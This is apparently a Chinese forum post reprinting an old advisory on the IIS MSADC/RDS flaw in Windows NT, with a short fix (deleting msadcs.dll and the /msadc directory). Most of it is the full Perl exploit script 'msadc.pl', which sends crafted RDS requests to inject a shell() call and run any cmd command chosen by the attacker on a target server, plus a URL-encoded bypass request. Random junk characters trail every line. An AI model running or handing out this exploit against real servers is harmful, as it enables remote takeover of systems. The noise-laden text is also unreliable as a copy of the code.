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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) K]j0_~3s  
Mz1G5xcl  
涉及程序: ?V}j`r8|\4  
Microsoft NT server _UT$,0u_i  
^2$ lJ  
描述:  qNm$Fx  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 -jn WZ5.  
UN%Vg:=  
详细: ^S)cjH`P  
如果你没有时间读详细内容的话,就删除: Ov UI@,Ef  
c:\Program Files\Common Files\System\Msadc\msadcs.dll 'yV?*a  
有关的安全问题就没有了。 b8%C *r7  
 1~l I8  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 ^-rfvc  
sf]s",t~J  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 \EKU*5\Hp>  
关于利用ODBC远程漏洞的描述,请参看: 549jWG  
#fJ] o_  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm rQEyD  
/;tPNp{!dw  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 wWSdTLX  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp ZxlAk+<]  
aB]m*~  
这里不再论述。 <)\y#N  
7lS#f1E  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: G NS`.fS  
{@<J_ A  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset &f7fK|}  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! Fe.t/amS/  
"dROb}szn  
bu=?N  
#将下面这段保存为txt文件,然后: "perl -x 文件名" @^;j)%F}  
rz"txN  
#!perl w|CZ7|6  
# M.nvB)  
# MSADC/RDS 'usage' (aka exploit) script RGn!{=  
# kKPi:G52F  
# by rain.forest.puppy W`"uu.~f  
# eL4NB$Fb  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me "wlt> SU  
# beta test and find errors! Ov#=]t5  
I+!:K|^  
use Socket; use Getopt::Std; ?H_ LX;r  
getopts("e:vd:h:XR", \%args); >yXN,5d[  
2P]L9'N{Y  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; <H0R&l\  
`'\t$nU  
if (!defined $args{h} && !defined $args{R}) { =1P6Vk  
print qq~ hXb%;GL  
Usage: msadc.pl -h <host> { -d <delay> -X -v } 4*aZ>R2hO  
-h <host> = host you want to scan (ip or domain) 4J?t_)  
-d <seconds> = delay between calls, default 1 second $2<d<Um~z  
-X = dump Index Server path table, if available Qj3a_p$)P  
-v = verbose u7xDau(c  
-e = external dictionary file for step 5 "+zCS|   
50 A^bbid  
Or a -R will resume a command session T \CCF  
8scc%t7  
~; exit;} YPzU-:3  
O:{U^K:*  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; DAwqo.m  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} gPu2G/Y  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} ?x^z]N|P  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); ~V/?H!r'{}  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} 2kv7UU#q2  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } 6G}+gqbX  
DfV~!bY  
if (!defined $args{R}){ $ret = &has_msadc; H"Klj_<dH0  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} tX!n sm1  
*xE,sj+(  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" hoT/KWD,  
. "cmd /c "; .))v0   
$in=<STDIN>; chomp $in; +525{Tj  
$command="cmd /c " . $in ; G&;j6<hl  
 be e5  
if (defined $args{R}) {&load; exit;} LTJc,3\,  
% aUsOB-RV  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; 8vuCc=  
&try_btcustmr; $5L0.$Tj  
OEPa|rb  
print "\nStep 2: Trying to make our own DSN..."; -k(CJ5H9  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; 2"fO6!hh  
^'p|!`:  
print "\nStep 3: Trying known DSNs..."; kQaSbpNmH  
&known_dsn; Mc-)OtmG[  
|v[Rp=?]  
print "\nStep 4: Trying known .mdbs..."; Qu< Bu)`  
&known_mdb; T6pLoaKu  
~Ph\Sbp  
if (defined $args{e}){ 0aoHKeP  
print "\nStep 5: Trying dictionary of DSN names..."; )HD`O~M>  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } `:O\dN>ON  
;f,c't@w  
print "Sorry Charley...maybe next time?\n"; JbO ~n )%x  
exit; *_ +7ni  
Gn)y> AN  
############################################################################## =&!HwOnp  
tA$)cg+.  
sub sendraw { # ripped and modded from whisker <`!PCuR  
sleep($delay); # it's a DoS on the server! At least on mine... Qm8) 4?FZ  
my ($pstr)=@_; `VQb-V  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || - }!H3]tr  
die("Socket problems\n"); O)kg B rB  
if(connect(S,pack "SnA4x8",2,80,$target)){ Y~)T  
select(S); $|=1; \@}#Gez  
print $pstr; my @in=<S>; OG3/-K8R  
select(STDOUT); close(S); b dJ+@r  
return @in; DFO7uw1  
} else { die("Can't connect...\n"); }} ]APvp.Tw:  
^v9|%^ug  
############################################################################## YpUp@/"  
$T<}y_nHl  
sub make_header { # make the HTTP request 5efxEt>U  
my $msadc=<<EOT e4I^!5)N  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 O+=vEp(  
User-Agent: ACTIVEDATA $6F)R|  
Host: $ip xsjO)))f  
Content-Length: $clen pPVRsXy  
Connection: Keep-Alive Jdy <w&S  
1Uf*^WW4  
ADCClientVersion:01.06 IMnP[WA!  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 M[~{Vd  
_ nP;Fx  
--!ADM!ROX!YOUR!WORLD! !3oKmL5  
Content-Type: application/x-varg $KjTa#[RX7  
Content-Length: $reqlen mL~z~w*s  
m-T~fJ  
EOT 2X-l{n;>  
; $msadc=~s/\n/\r\n/g; FFEfp.T1M  
return $msadc;} hNXBVIL<&  
ED$DSz)x  
############################################################################## BIf^~jAER%  
~#}Dx :HH  
sub make_req { # make the RDS request <DH*~tLp2  
my ($switch, $p1, $p2)=@_; i`)!X:j  
my $req=""; my $t1, $t2, $query, $dsn; xjdw'v+qZo  
G6K  <  
if ($switch==1){ # this is the btcustmr.mdb query JNWg|Qt  
$query="Select * from Customers where City=" . make_shell(); K?#]("De6  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . ,pK| SL  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} k:A|'NK~  
"0jJh^vk  
elsif ($switch==2){ # this is general make table query kW6%32  
$query="create table AZZ (B int, C varchar(10))"; v&g0ta@  
$dsn="$p1";} oUx[+Gnv  
^IgY d*5  
elsif ($switch==3){ # this is general exploit table query jnu Y{0(&  
$query="select * from AZZ where C=" . make_shell(); @\(vX]  
$dsn="$p1";} ?IX!+>.H  
Fk^3a'/4KJ  
elsif ($switch==4){ # attempt to hork file info from index server lEPAP|~uw  
$query="select path from scope()"; 92dF`sv  
$dsn="Provider=MSIDXS;";} 3Dm8[o$Z  
\'19BAm'  
elsif ($switch==5){ # bad query vMSW$Bx ;  
$query="select"; K:yr-#(P/  
$dsn="$p1";} pz_e=xr  
LT+3q%W.UC  
$t1= make_unicode($query); dMl+ko  
$t2= make_unicode($dsn); YEYY}/YX  
$req = "\x02\x00\x03\x00"; SC#sax4N!=  
$req.= "\x08\x00" . pack ("S1", length($t1)); oJ*1>7[J  
$req.= "\x00\x00" . $t1 ; *!:QdWLq  
$req.= "\x08\x00" . pack ("S1", length($t2)); -%IcYzyA  
$req.= "\x00\x00" . $t2 ; OySy6IN]q  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; _-cK{  
return $req;} ,7|;k2  
< /p 8r  
############################################################################## Mo|wME#M  
TUp%FJXA|  
sub make_shell { # this makes the shell() statement 3Rl,GWK  
return "'|shell(\"$command\")|'";} ned2lC&'d>  
t~K%.|'0  
############################################################################## #~?kYCtC)  
 eIPG#A  
sub make_unicode { # quick little function to convert to unicode :ipoD%@  
my ($in)=@_; my $out; m4ApHM2  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } -E&e1u,Mi  
return $out;} ul5|.C  
9w;?-  
############################################################################## 5b #QYu  
s[3fqdLP&  
sub rdo_success { # checks for RDO return success (this is kludge) ,[48Mspp  
my (@in) = @_; my $base=content_start(@in); /jD-\,:L}  
if($in[$base]=~/multipart\/mixed/){ i4Z4xTn  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} Mxz,wfaH>  
return 0;} Lx|',6S  
d-!<C7O}  
############################################################################## =N.!k Vkl  
^!: "Q3  
sub make_dsn { # this makes a DSN for us FT\?:wpKa  
my @drives=("c","d","e","f"); h:qHR] 8dZ  
print "\nMaking DSN: "; Edt}",s7  
foreach $drive (@drives) { $v;dV@tB  
print "$drive: "; P-z`c\Rt  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . 8IY19>4'5J  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" yOHXY&  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); 3" Vd==oK~  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; e(\I_  
return 0 if $2 eq "404"; # not found/doesn't exist 'Am-vhpm  
if($2 eq "200") { ;q#]-^  
foreach $line (@results) { fu\s`W6f&  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} ^nDal':*  
} return 0;} 6`nR5fh  
gp< =Gmd  
############################################################################## Jj"HpK>[  
v ahoSc;sw  
sub verify_exists { eG] a zt  
my ($page)=@_; wODvc9p}]  
my @results=sendraw("GET $page HTTP/1.0\n\n"); hCc0sRp  
return $results[0];} O+ .*lo  
QocQowz  
############################################################################## -$4kBYC l+  
-6EK#!+  
sub try_btcustmr { 66ohmP@04Z  
my @drives=("c","d","e","f"); ^7XAw: ?  
my @dirs=("winnt","winnt35","winnt351","win","windows"); }Zl"9A#K  
;[5r7 jHU  
foreach $dir (@dirs) { k 'zat3#f  
print "$dir -> "; # fun status so you can see progress ,-#GX{!  
foreach $drive (@drives) { Up?=m^  
print "$drive: "; # ditto CB}BQd  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; ;El <%{(  
$reqlenlen=length( "$reqlen" ); H7IW"UkBR  
$clen= 206 + $reqlenlen + $reqlen; 6}&^=^-  
f~\Xg7<  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); 6M><(1fT  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} xks?y.wA  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} zNtq"T[  
VuWib+fT  
############################################################################## }C~]=Z  
f$D@*33ft  
sub odbc_error { e@ oWwhpE  
my (@in)=@_; my $base; TgaYt\"i[  
my $base = content_start(@in); <f%/px%1  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this -0|K,k  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; W);W.:F  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; cC6z,0`3  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; eqFvrESN~=  
return $in[$base+4].$in[$base+5].$in[$base+6];} ePA;:8)_j  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; G(OFr2M  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .  5H.Db  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} %x2b0L\g  
b(T@~P/  
##############################################################################  X4I]9 t\  
ZgF/;8!~V-  
sub verbose { 76MsrOv55  
my ($in)=@_; 1_3?R }$Wl  
return if !$verbose; LZV}U*  
print STDOUT "\n$in\n";} YBylyVZ  
&va*IR  
############################################################################## (+MC<J/i  
f)Y  
sub save { A'g,:8Ou  
my ($p1, $p2, $p3, $p4)=@_; #]zhZW4  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; W8* 2;F]  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; BJIQ zn3  
close OUT;} 0zV 4`y  
W78o*z[O  
############################################################################## wgZrrq/W|  
$^$ECDOTB  
sub load { HDj$"pS  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; U"x~Jb3]O  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); $c9=mjwH  
@p=<IN>; close(IN); )>$^wT  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); kIM C~Z  
$target= inet_aton($ip) || die("inet_aton problems"); 9.-47|-9C  
print "Resuming to $ip ..."; ak2dn]]D  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; d Uz<1^L  
if($p[1]==1) { 4<Kgmy  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; F@<MT<TRf  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; X%`KYo%  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); vf_OQ4'G,  
if (rdo_success(@results)){print "Success!\n";} t?.\|2  
else { print "failed\n"; verbose(odbc_error(@results));}} AfE%a-;:  
elsif ($p[1]==3){ b7v dk  
if(run_query("$p[3]")){ G+C} <S}  
print "Success!\n";} else { print "failed\n"; }} n_;S2KM  
elsif ($p[1]==4){ 'z](xG<  
if(run_query($drvst . "$p[3]")){ y< ud('D  
print "Success!\n"; } else { print "failed\n"; }} msG3 ~@q  
exit;} j 0?>w{e  
J0qXtr%h\  
############################################################################## V/&o]b   
8r^j P.V  
sub create_table { r#I>_Utsy  
my ($in)=@_; 2fP~;\AP  
$reqlen=length( make_req(2,$in,"") ) - 28; J!<#Nc  
$reqlenlen=length( "$reqlen" ); "OJr*B  
$clen= 206 + $reqlenlen + $reqlen; _#(s2.h~J  
my @results=sendraw(make_header() . make_req(2,$in,"")); Y eO-gY [b  
return 1 if rdo_success(@results); j@SYXKL~  
my $temp= odbc_error(@results); verbose($temp); 4tnjXP8  
return 1 if $temp=~/Table 'AZZ' already exists/; @#CF".fuN>  
return 0;} bqNLkw#  
kxy]vH6m  
############################################################################## id4]|jb  
bQV("~#  
sub known_dsn {  2$)mC9  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go < 4$YO-:E  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", X#7}c5^Y  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", PvuAg(?  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); D+hB[*7Fs  
19w_tSg  
foreach $dSn (@dsns) { |Cq8%  
print "."; ;%!tf{Si  
next if (!is_access("DSN=$dSn")); $2is3;h  
if(create_table("DSN=$dSn")){ wO!% q[  
print "$dSn successful\n"; >F|qb*Tm7  
if(run_query("DSN=$dSn")){ xfes_v""  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { Ff&R0v  
print "Something's borked. Use verbose next time\n";}}} print "\n";} )O -cw7 >  
26}u4W$  
############################################################################## j$0zD:ppW  
g~|y$T  
sub is_access { R9q0,yQW  
my ($in)=@_; 59~FpjJ  
$reqlen=length( make_req(5,$in,"") ) - 28; r hZQQOQ  
$reqlenlen=length( "$reqlen" ); c-`37. J  
$clen= 206 + $reqlenlen + $reqlen; mCK],TOA:  
my @results=sendraw(make_header() . make_req(5,$in,"")); Mb~~A5  
my $temp= odbc_error(@results); D2V v\f  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); pd7O`.3  
return 0;} Ri[S<GOMii  
e@yx}:]h  
############################################################################## A$N+9n\  
n{z8Ao%  
sub run_query { iA&oLu[y3  
my ($in)=@_; !^]q0x  
$reqlen=length( make_req(3,$in,"") ) - 28; +#9xA6,AE  
$reqlenlen=length( "$reqlen" ); F/xCG nP-  
$clen= 206 + $reqlenlen + $reqlen; l_ZO^E~D_  
my @results=sendraw(make_header() . make_req(3,$in,"")); >^ ;(c4C  
return 1 if rdo_success(@results); {9Db9K^  
my $temp= odbc_error(@results); verbose($temp); *afejjW[  
return 0;} rI *!"PL  
5'62ulwMP=  
############################################################################## +R9%~Z.=  
Vv2{^ !aZ  
sub known_mdb { e7lo!( >#  
my @drives=("c","d","e","f","g"); .@Hmg  
my @dirs=("winnt","winnt35","winnt351","win","windows"); a" ^#!G<+  
my $dir, $drive, $mdb; i<J^:7  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; i'Wcf1I-=  
89db5Dx  
# this is sparse, because I don't know of many L%k67>  
my @sysmdbs=( "\\catroot\\icatalog.mdb", 98h :X%  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", R/ Tj^lM  
"\\system32\\certmdb.mdb", cB_pyX9Z  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% y~x#pC*w  
uvR0TIF4  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", gj[z ka0_  
"\\cfusion\\cfapps\\forums\\forums_.mdb", fJvr+4i4k  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", - *r[  
"\\cfusion\\cfapps\\security\\realm_.mdb", (I>HWRH  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", prqyoCfq  
"\\cfusion\\database\\cfexamples.mdb", >eEnQ}Y  
"\\cfusion\\database\\cfsnippets.mdb", F9F" F  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", ZMP?'0h=  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", 3Hy%SN(  
"\\cfusion\\brighttiger\\database\\cleam.mdb", L,E-z_<p  
"\\cfusion\\database\\smpolicy.mdb", 5 d>nIKW  
"\\cfusion\\database\cypress.mdb", @J kui  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", E7k-pquvE  
"\\website\\cgi-win\\dbsample.mdb", 5Ws5X_?d  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", %N7gT*B:  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" eSJAPU(D  
); #these are just [y_yPOv  
foreach $drive (@drives) { r^fxyN2V  
foreach $dir (@dirs){ h\/^Aa0  
foreach $mdb (@sysmdbs) { /L)?> tg  
print "."; qwL 0~I  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ Nz3zsP$  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; sWp{Y.  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ f%vHx,  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; =_K%$y*  
} else { print "Something's borked. Use verbose next time\n"; }}}}} "L ^TT2  
0W;q!H[G  
foreach $drive (@drives) { *iPs4Es-  
foreach $mdb (@mdbs) { ,:c :6Y^  
print "."; gkSGRshf  
if(create_table($drv . $drive . $dir . $mdb)){ -6AOK<kfI  
print "\n" . $drive . $dir . $mdb . " successful\n"; 9cl{hdP{  
if(run_query($drv . $drive . $dir . $mdb)){ Z@<q/2).|  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; }m9S(Wal  
} else { print "Something's borked. Use verbose next time\n"; }}}} f:n]Exsy  
} qK<aZ%V  
FrgW7`s[A  
############################################################################## YN_X0+b3C  
@QvfN>T  
sub hork_idx { 32M6EEmPG  
print "\nAttempting to dump Index Server tables...\n"; un.G6|S  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; =%Q\*xaR.W  
$reqlen=length( make_req(4,"","") ) - 28; zNNzsT8na  
$reqlenlen=length( "$reqlen" ); eL>K2Jxq  
$clen= 206 + $reqlenlen + $reqlen; s'R~ r  
my @results=sendraw2(make_header() . make_req(4,"","")); bMSD/L  
if (rdo_success(@results)){ 8W(<q|t  
my $max=@results; my $c; my %d; w g$D@E7  
for($c=19; $c<$max; $c++){ ac2}3 $u  
$results[$c]=~s/\x00//g; N;e;4,_ n  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; rdORNlK&  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; s 4MNVT  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; 'hxs((['\  
$d{"$1$2"}="";} ;5&k/CB1  
foreach $c (keys %d){ print "$c\n"; } '=KuJ0`nE9  
} else {print "Index server doesn't seem to be installed.\n"; }} Wpiv1GZ%c8  
HR/k{"8W4Q  
############################################################################## L#@l(8.  
6lB{Ao?|  
sub dsn_dict { {KF7j63  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); <1ztj#B  
while(<IN>){ SS >:Sw  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; ?q+8 /2  
next if (!is_access("DSN=$dSn")); :7HVBH  
if(create_table("DSN=$dSn")){ ~Da >{zHt  
print "$dSn successful\n"; '?&B5C  
if(run_query("DSN=$dSn")){ 'e+-,CGdY\  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { {LR#(q$1  
print "Something's borked. Use verbose next time\n";}}} 6|Ba  
print "\n"; close(IN);} >qSO,$  
z'5;f;  
############################################################################## ^4n2 -DvG  
Ws2prh^e(  
sub sendraw2 { # ripped and modded from whisker  9OrA9r  
sleep($delay); # it's a DoS on the server! At least on mine... FE$M[^1_  
my ($pstr)=@_; 9$B)hrJo  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || -~QlHp&SY  
die("Socket problems\n"); H}u)%qY+~  
if(connect(S,pack "SnA4x8",2,80,$target)){ F?yh23&_4  
print "Connected. Getting data"; e["Z!D_H  
open(OUT,">raw.out"); my @in; GE/IaLo  
select(S); $|=1; print $pstr; jUV#HT  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} $bF`PGR_  
close(OUT); select(STDOUT); close(S); return @in; fS;m+D!j@  
} else { die("Can't connect...\n"); }} avYh\xZ  
n?TO!5RZK  
############################################################################## ;Xnk+  
f~n' Ki+'  
sub content_start { # this will take in the server headers RW|UQY#  
my (@in)=@_; my $c; mI{CM: :  
for ($c=1;$c<500;$c++) { \t&n jMWpZ  
if($in[$c] =~/^\x0d\x0a/){ g7E`;&f  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } ONg<  
else { return $c+1; }}} ~m,mvRS  
return -1;} # it should never get here actually \? 5[RR  
JCCx 5  
############################################################################## ND)M3qp2(  
I(iGs I  
sub funky { i]h R7g<  
my (@in)=@_; my $error=odbc_error(@in); =CD:.FG.  
if($error=~/ADO could not find the specified provider/){ A;/Xt  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; bi4^ zaCEE  
exit;} ijR-?nrR  
if($error=~/A Handler is required/){ ss|6_H =  
print "\nServer has custom handler filters (they most likely are patched)\n"; VC_3ll]vr  
exit;} ;&7qw69k  
if($error=~/specified Handler has denied Access/){ =6"hj,[Q  
print "\nServer has custom handler filters (they most likely are patched)\n"; ynOc~TN  
exit;}}  JsAb q  
YQfZiz}Fv  
############################################################################## LiHXWi{s  
r`mzsO-'  
sub has_msadc { 3V8j>&  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); ]8q%bsl+  
my $base=content_start(@results); ]ci|$@V  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); (<5'ceF )X  
return 0;} B8BY3~}]  
]%ZjD  
######################## $AL|d[[T[  
IAt+S-q0  
Z;dwn~Tw  
解决方案: rsq'60  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll H7cRWB  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 XQJV.SVS  
:jN;l  
拿出来充数 哈哈
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